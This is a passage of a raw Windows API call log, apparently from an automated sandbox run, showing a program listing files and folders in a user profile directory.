lpFindFileData=0x1ca2e4e0 | out: lpFindFileData=0x1ca2e4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x669d8790, ftCreationTime.dwHighDateTime=0x1d5e301, ftLastAccessTime.dwLowDateTime=0x6ec53670, ftLastAccessTime.dwHighDateTime=0x1d5df00, ftLastWriteTime.dwLowDateTime=0x6ec53670, ftLastWriteTime.dwHighDateTime=0x1d5df00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a890 [0080.450] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x669d8790, ftCreationTime.dwHighDateTime=0x1d5e301, ftLastAccessTime.dwLowDateTime=0x6ec53670, ftLastAccessTime.dwHighDateTime=0x1d5df00, ftLastWriteTime.dwLowDateTime=0x6ec53670, ftLastWriteTime.dwHighDateTime=0x1d5df00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.450] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf6de8c0, ftCreationTime.dwHighDateTime=0x1d5e7cf, ftLastAccessTime.dwLowDateTime=0xb89bb010, ftLastAccessTime.dwHighDateTime=0x1d5dc46, ftLastWriteTime.dwLowDateTime=0xb89bb010, ftLastWriteTime.dwHighDateTime=0x1d5dc46, nFileSizeHigh=0x0, nFileSizeLow=0xa573, dwReserved0=0x0, dwReserved1=0x0, cFileName="0CW4UO28R1M_iTm2.bmp", cAlternateFileName="0CW4UO~1.BMP")) returned 1 [0080.450] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef920f0, ftCreationTime.dwHighDateTime=0x1d5e021, ftLastAccessTime.dwLowDateTime=0x87413e10, ftLastAccessTime.dwHighDateTime=0x1d5e572, ftLastWriteTime.dwLowDateTime=0x87413e10, ftLastWriteTime.dwHighDateTime=0x1d5e572, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bpNRq7VsU6yD3.jpg", cAlternateFileName="BPNRQ7~1.JPG")) returned 1 [0080.451] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435a1740, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xbd960880, ftLastAccessTime.dwHighDateTime=0x1d5da21, ftLastWriteTime.dwLowDateTime=0xbd960880, ftLastWriteTime.dwHighDateTime=0x1d5da21, nFileSizeHigh=0x0, nFileSizeLow=0x2618, dwReserved0=0x0, dwReserved1=0x0, cFileName="UP0lngE4nme0aSiLIi.gif", cAlternateFileName="UP0LNG~1.GIF")) returned 1 [0080.451] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bcecb0, ftCreationTime.dwHighDateTime=0x1d5db34, ftLastAccessTime.dwLowDateTime=0xf42b1440, ftLastAccessTime.dwHighDateTime=0x1d5dad9, ftLastWriteTime.dwLowDateTime=0xf42b1440, ftLastWriteTime.dwHighDateTime=0x1d5dad9, nFileSizeHigh=0x0, nFileSizeLow=0x9ca5, dwReserved0=0x0, dwReserved1=0x0, cFileName="xXRjsU7blEJohAMCZ.gif", cAlternateFileName="XXRJSU~1.GIF")) returned 1 [0080.451] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b718d0, ftCreationTime.dwHighDateTime=0x1d5e347, ftLastAccessTime.dwLowDateTime=0x1b2ac7d0, ftLastAccessTime.dwHighDateTime=0x1d5ded0, ftLastWriteTime.dwLowDateTime=0x1b2ac7d0, ftLastWriteTime.dwHighDateTime=0x1d5ded0, nFileSizeHigh=0x0, nFileSizeLow=0x83cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="YtGtMf.jpg", cAlternateFileName="")) returned 1 [0080.451] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b718d0, ftCreationTime.dwHighDateTime=0x1d5e347, ftLastAccessTime.dwLowDateTime=0x1b2ac7d0, ftLastAccessTime.dwHighDateTime=0x1d5ded0, ftLastWriteTime.dwLowDateTime=0x1b2ac7d0, ftLastWriteTime.dwHighDateTime=0x1d5ded0, nFileSizeHigh=0x0, nFileSizeLow=0x83cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="YtGtMf.jpg", cAlternateFileName="")) returned 0 [0080.451] FindClose (in: hFindFile=0x1a62a890 | out: hFindFile=0x1a62a890) returned 1 [0080.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e820) returned 1 [0080.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e810) returned 1 [0080.452] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0bf110, ftCreationTime.dwHighDateTime=0x1d5d97c, ftLastAccessTime.dwLowDateTime=0x416a2a80, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x416a2a80, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0x12c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="qlJ8L QWgwe.bmp", cAlternateFileName="QLJ8LQ~1.BMP")) returned 1 [0080.452] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5033e0, ftCreationTime.dwHighDateTime=0x1d5deda, ftLastAccessTime.dwLowDateTime=0x94bf23b0, ftLastAccessTime.dwHighDateTime=0x1d5dbac, ftLastWriteTime.dwLowDateTime=0x94bf23b0, ftLastWriteTime.dwHighDateTime=0x1d5dbac, nFileSizeHigh=0x0, nFileSizeLow=0x3e4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcl5KrYSwmP.gif", cAlternateFileName="XCL5KR~1.GIF")) returned 1 [0080.452] FindNextFileW (in: hFindFile=0x1a62a830, lpFindFileData=0x1ca2e620 | out: lpFindFileData=0x1ca2e620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5033e0, ftCreationTime.dwHighDateTime=0x1d5deda, ftLastAccessTime.dwLowDateTime=0x94bf23b0, ftLastAccessTime.dwHighDateTime=0x1d5dbac, ftLastWriteTime.dwLowDateTime=0x94bf23b0, ftLastWriteTime.dwHighDateTime=0x1d5dbac, nFileSizeHigh=0x0, nFileSizeLow=0x3e4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcl5KrYSwmP.gif", cAlternateFileName="XCL5KR~1.GIF")) returned 0 [0080.452] FindClose (in: hFindFile=0x1a62a830 | out: hFindFile=0x1a62a830) returned 1 [0080.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e880) returned 1 [0080.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e870) returned 1 [0080.453] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf116990, ftCreationTime.dwHighDateTime=0x1d5e7f9, ftLastAccessTime.dwLowDateTime=0x33503a20, ftLastAccessTime.dwHighDateTime=0x1d5dab1, ftLastWriteTime.dwLowDateTime=0x33503a20, ftLastWriteTime.dwHighDateTime=0x1d5dab1, nFileSizeHigh=0x0, nFileSizeLow=0xea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="W9zfWuqQYMa.jpg", cAlternateFileName="W9ZFWU~1.JPG")) returned 1 [0080.453] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf116990, ftCreationTime.dwHighDateTime=0x1d5e7f9, ftLastAccessTime.dwLowDateTime=0x33503a20, ftLastAccessTime.dwHighDateTime=0x1d5dab1, ftLastWriteTime.dwLowDateTime=0x33503a20, ftLastWriteTime.dwHighDateTime=0x1d5dab1, nFileSizeHigh=0x0, nFileSizeLow=0xea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="W9zfWuqQYMa.jpg", cAlternateFileName="W9ZFWU~1.JPG")) returned 0 [0080.453] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.453] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4429c6c0, ftCreationTime.dwHighDateTime=0x1d5e648, ftLastAccessTime.dwLowDateTime=0x8b5cd7c0, ftLastAccessTime.dwHighDateTime=0x1d5e428, ftLastWriteTime.dwLowDateTime=0x8b5cd7c0, ftLastWriteTime.dwHighDateTime=0x1d5e428, nFileSizeHigh=0x0, nFileSizeLow=0xde96, dwReserved0=0x0, dwReserved1=0x0, cFileName="_-Q-Spx3.png", cAlternateFileName="")) returned 1 [0080.453] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4429c6c0, ftCreationTime.dwHighDateTime=0x1d5e648, ftLastAccessTime.dwLowDateTime=0x8b5cd7c0, ftLastAccessTime.dwHighDateTime=0x1d5e428, ftLastWriteTime.dwLowDateTime=0x8b5cd7c0, ftLastWriteTime.dwHighDateTime=0x1d5e428, nFileSizeHigh=0x0, nFileSizeLow=0xde96, dwReserved0=0x0, dwReserved1=0x0, cFileName="_-Q-Spx3.png", cAlternateFileName="")) returned 0 [0080.454] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.454] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.454] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood", lpFilePart=0x0) returned 0x27 [0080.456] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\", lpFilePart=0x0) returned 0x28 [0080.456] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.459] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0080.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0080.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\", lpFilePart=0x0) returned 0x25 [0080.461] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.464] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0080.464] GetFullPathNameW (in: 